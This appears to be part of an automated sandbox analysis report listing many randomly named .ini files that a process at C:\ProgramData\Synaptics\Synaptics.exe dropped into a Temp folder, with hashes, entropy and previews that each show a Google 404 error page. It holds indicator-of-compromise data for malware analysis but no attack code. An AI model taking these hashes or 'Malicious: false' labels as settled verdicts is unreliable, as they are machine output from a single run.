SHA-512:	04D005BF514893C7CA547DAA2FF3B2C17EA3140D3A2912051C07F57561B4447CC31DAC6868D20F6C12FB44104BFD607A4CA5CC2BD45F1F3D16D96728CC39220F
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="hPTPRnSYod-f_zdDQ8FFtg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\O3CQckZ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.258302630620573
Encrypted:	false
SSDEEP:	24:GgsF+0ZIDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+d+pAZewRDK4mW
MD5:	ADB1D45D51E3855057EB58874A4DD6F6
SHA1:	CB0A7F0C31CA2C4CB3D341B6BD9060BC81F8CC90
SHA-256:	193B8508D084AF463071A4129C8854C7E38018301B9786BB187A5EA64DD31936
SHA-512:	2D90CE94BF3B15DAF470FD78858579035F9438F17700177794267E0A9FB43A0BF0D061C774E3FBE5B8B43B6B4FEA720166C6FDFE6B14B90FE7486F2893C0A279
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="kvENwGIR6lStze8xsqg0dA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ObiSyNe.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.261228874132719
Encrypted:	false
SSDEEP:	24:GgsF+0PbSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+w+pAZewRDK4mW
MD5:	DB2CF7207E7CBB4E052528008508CBF6
SHA1:	BD3D3D823A12AFB7991CEC3E699CCBCA046064E8
SHA-256:	32EB9150EF497CFCF560DC9903DD19C94D7684CEE93AAEFBB34CC63AE17FC30E
SHA-512:	1B2DE7937B6C1F4A4C94EDD672E68830499036C0767B4F76A79F67A901D0F5289C9EA9F0A319CA9172701A05C27808FC33BD76735889ACA043CD1B82E692E8CF
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="o_jbY8yuvNPv3y-bu4t3AQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Ocer5AF.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.272028299488364
Encrypted:	false
SSDEEP:	24:GgsF+0dSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+G+pAZewRDK4mW
MD5:	2C113C3B9038254ED3E6178ACEF14975
SHA1:	79C795FE272083E7E7826927E9520F430DC50405
SHA-256:	8D153898F1FAA78008DDD716C78025AF965E1418BEFA7891888936608786F9F7
SHA-512:	09ADD4E3DEAE8034CD04F252EBC0DE55A4271C86334C3DFEB78A8D5AA0423B1840AAA064E0524C8C1A64CB6C38E389B72B1D4426566C94937208941F5F822C36
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="RTS5Om393yHqGCJDC-pYow">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\OimNQPf.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.257065348197915
Encrypted:	false
SSDEEP:	24:GgsF+0hWSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+D+pAZewRDK4mW
MD5:	2FB1E8CE879F9AAC5B0EA04FD512538B
SHA1:	8C9B40F5EA4F3834E6951789F155C975F8253D81
SHA-256:	976E703F23B073696E8B19F3DA25C8D0F6F4F45C79D926D558B324BC1286CAF5
SHA-512:	D887887DB660B5ECB9ECA351A6338E91FF5AB45B71A5F448519ED4EC07FD77FB37CDD34DB83CDE4F8B87CE2BF5CCD0F820288C04D8DD97175A024D459FAE1D36
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="1iXgqgVRgMAk5J-R5UbuLg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\PvE3oPt.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.271356353484227
Encrypted:	false
SSDEEP:	24:GgsF+0it/DSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+lD+pAZewRDK4mW
MD5:	238EF5E1165EB58BAB3D71745E17EBC0
SHA1:	8727146A3108A4CF4EC4B1CE371D41D024F4E5E0
SHA-256:	C853788915F274DC2B6A02E36BEDCEE071FCE50AB0619B335999C8C68408E1C5
SHA-512:	5E9555A2254D34787E129363B5F9503ED27E7E8C6E2569430664E6E007C4596C95BBC3C1AD92D0044F89147B033914C9BF5DE2A950DCCB677C9852A7E9822907
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="yj4JmBL-6qhGIWUClTzBgw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\RbtLgsZ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.255769826595739
Encrypted:	false
SSDEEP:	24:GgsF+0QSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+D+pAZewRDK4mW
MD5:	5476DC480961A25F39F40EB8355876BD
SHA1:	D0970CDCDCE3315415D9B72AFC404874EB1EC60F
SHA-256:	B51FD5B8ACCF0E1947CC5310340CBC8556E85E576C9B208AD0AFAECF7B063F66
SHA-512:	DC486C34E9031CBEB2097ADB2A352335CFA5D460151DEF3CCCC419C236CD9E9E8598B57DE1F18F3230D674FBF1766F1F035A20F90474B5B22DD388AB59763248
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Qgy74P-qU203b-jmcELk9g">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\TLM5SAp.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.259877081841404
Encrypted:	false
SSDEEP:	24:GgsF+0DlSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Cl+pAZewRDK4mW
MD5:	F200F800331E237AA071E91C7EA6B814
SHA1:	D480BCB8FC006F4BC6F8EC8D432F47A16481F8DD
SHA-256:	5E609BB8C141806C4D6654FC3D683237A1CF304C2BD077DCA119F7E1200850E7
SHA-512:	5F959C8F5D1789EA04C3CCF624BB9642E39D2446B17F76D0E2597EA7FD618558C24E82821A359ED72FBE9EF5562A6BC572A0CE7F10235CF43DD0C1EB8ECA35D8
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="n-lyrR9ZeSMbOzyqSM9nWg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Tv8QDWl.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.272655270247575
Encrypted:	false
SSDEEP:	24:GgsF+0KSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+d+pAZewRDK4mW
MD5:	271E9D3C6529C746E492C46BAD6F7CF3
SHA1:	86D09D4A0A033EFB09996462A5B592BD3878B42D
SHA-256:	89A98E6E914DACAFF420A80AFB53194EC3DB289805B6EE6A4423E493BB054209
SHA-512:	C5EA04DE1C39500716DA3E37FB59C4B532D1EC25123B46891D9ED5805F0C6C5428C130170D087D890E90E6FF207628C922AFC5C031D6B455879F0ED576A722F8
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="DJZTlwNAnC31bYzUD3BrfQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\UcKAiJQ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.262770517619054
Encrypted:	false
SSDEEP:	24:GgsF+0OGQ7bSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+T+pAZewRDK4mW
MD5:	545BEA731CDD26FE093901C932B31535
SHA1:	9F4BA189576423A3C3992804AD8FE07AC7FCA240
SHA-256:	23EE76AF6E8723B5568E4EBA26281226A4FA63DE83E7C51A4EB6D7F97CAE8FBB
SHA-512:	DC1043C99C259F4E99426A12F4F476D3743202FD2F6E5173F5F4725BB35AB72047A26679BDEEC08A329BDD9DA42C52B9C6F23F104C66747C5CDCCF77830D51CD
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="7Wlv1Qx2N-qih2yjYhEzFA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\W2gIQqo.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.272016941346869
Encrypted:	false
SSDEEP:	24:GgsF+0aSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+N+pAZewRDK4mW
MD5:	BCB2F2278011DA312ABBBA4F53C4132F
SHA1:	F356AF558D493A068BF31CA531A01EEB32C3C718
SHA-256:	D73CC4008AA6A8B90FAA97B3AC2CD0D99DFA78377C511D9AF348A7CB57B2CC51
SHA-512:	10C7E96270DE16CE0B4C78B641230CE9803645FE217447ABEDF5C0BE88DA01B819CBC809D166B5D347469B379A7F47BB046F07FE430965D3657755938A5C4CD5
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="3IlySv6J-0qJ9qVsIAMaWg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\WOxPWwc.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2624297427086
Encrypted:	false
SSDEEP:	24:GgsF+0rSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+s+pAZewRDK4mW
MD5:	A5074A201A81586A3B994208349F2AD5
SHA1:	29F0684F26C99ECBD19565F253CE9BDCCE6DB0BB
SHA-256:	0768B087AED8A1BC86A970E59E278E8F295FD8733DDB4F31B14536F8068FCD2F
SHA-512:	B48B05057402B2DEDA4AC3C92A4F9BCD7FF952D6C9AECEB87D569801B7E739B454EFF6268FF22BE53448F9F1A52C35F1721B48175AE73EBA51B662CF621F2620
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="z-JtFZIIqYu4_Fmi7cspAA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\XZ4Yhfw.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.258916208866884
Encrypted:	false
SSDEEP:	24:GgsF+0Xf3SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+mf3+pAZewRDK4mW
MD5:	7E2CA898A5913C8F2AEC7F3C16B6B75B
SHA1:	C188535BE2557DA224AC9EC1F229953D5286927F
SHA-256:	BA897A1783172694783CCED7A90D425BB9347AA51DF8767A66480AD51A325586
SHA-512:	874DE8A7ADF3EB354DD1E100EE340B133318DBD3EF3BB63244D80EA57637F4231928073D8FDEBB541B0DF6DA27D7AC111FE2717F450CE4C8991F5A7371BBAD04
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="RnnUyZSsSbfEl0Qp0BqNiQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\YBdifP6.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.257822547923873
Encrypted:	false
SSDEEP:	24:GgsF+0JfSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+mf+pAZewRDK4mW
MD5:	5C48180F14C5F010242B06F70D3319DE
SHA1:	9FF0DBDA8AB3C17F77F37E1E071C553EBFFC96F1
SHA-256:	7CE5F6805DD188F162C1C9E4B8F26BAC270C839EF7C2283D6F296ADA9FF62B9D
SHA-512:	2E742597C2015735D1B2064145823F4DCB7AA7E971CD37F3DD67A95918B8D49E11E35BC30F564F5D21B54EFF7F416223A5B8384AAD645F6ED76E774C35F9B4B8
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="FDljhw_sjkgGSr-Z9SdhQw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\YFjYvyI.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.258304682066653
Encrypted:	false
SSDEEP:	24:GgsF+0FSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+e+pAZewRDK4mW
MD5:	392C5F8298558B66028A542A3D6E4AAE
SHA1:	96299E1623EB5F86FD2F8EF4E1DB43062AA0AF55
SHA-256:	258ED63B6277264E876755745F10672B66D44F0EC1B6CD7BDE4DAA9689F9022E
SHA-512:	3FC272C98DE46F26E6596E528C6AFEFDF368A6A398853EBE259D0CD24A381482F792E104152CEB2A15A5CBC0666FED819BED4EF1BC8D4DE2C9AD4FD74D1E4A9D
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="zD9T0O4imSEslZJ_dn7mmQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\YLAHOIU.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.275011828009348
Encrypted:	false
SSDEEP:	24:GgsF+0h2ISU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+a2I+pAZewRDK4mW
MD5:	5430EC005DD63139BAA781BBC4E751D0
SHA1:	0C2CDEEF453C9A27A4FE20FF22DF483A1A7A85ED
SHA-256:	6D21036A6F14F3D9C052DEB90EB7DB2BCF061E3FD1B96B42DA0E449F2C583273
SHA-512:	C63D67704DFE3BFE829321B374BD900685CD66C3634EEA29BEBEBFCADDE504F66BD1DB339989AF55F8E89B64949ED49E7E2ADEE25716F5CE44AEC649E41B8494
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="BAyRQXQ7yDrwO_d4KNLOjw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\YZhByle.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.26692714676545
Encrypted:	false
SSDEEP:	24:GgsF+0CvISU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Tw+pAZewRDK4mW
MD5:	01AC1E11BE474F61884106AF982215AF
SHA1:	D4AC16AA4A1EFC87F85D5C7BAA5EC7AFB0DBB192
SHA-256:	C7CE0918DBA2B18E3AB048DFA79DB92E696F6F78CAEBB00109B75047B5E09344
SHA-512:	ACCA47EE5BDE4D626CBFF52163FCB182959F89CD4A8CD7023BF6E4C453647272E70A8A83B5EAAD613FCAAD23F62A2EE788FF39A897847B0BCF3AC729B4A90463
Malicious:	false
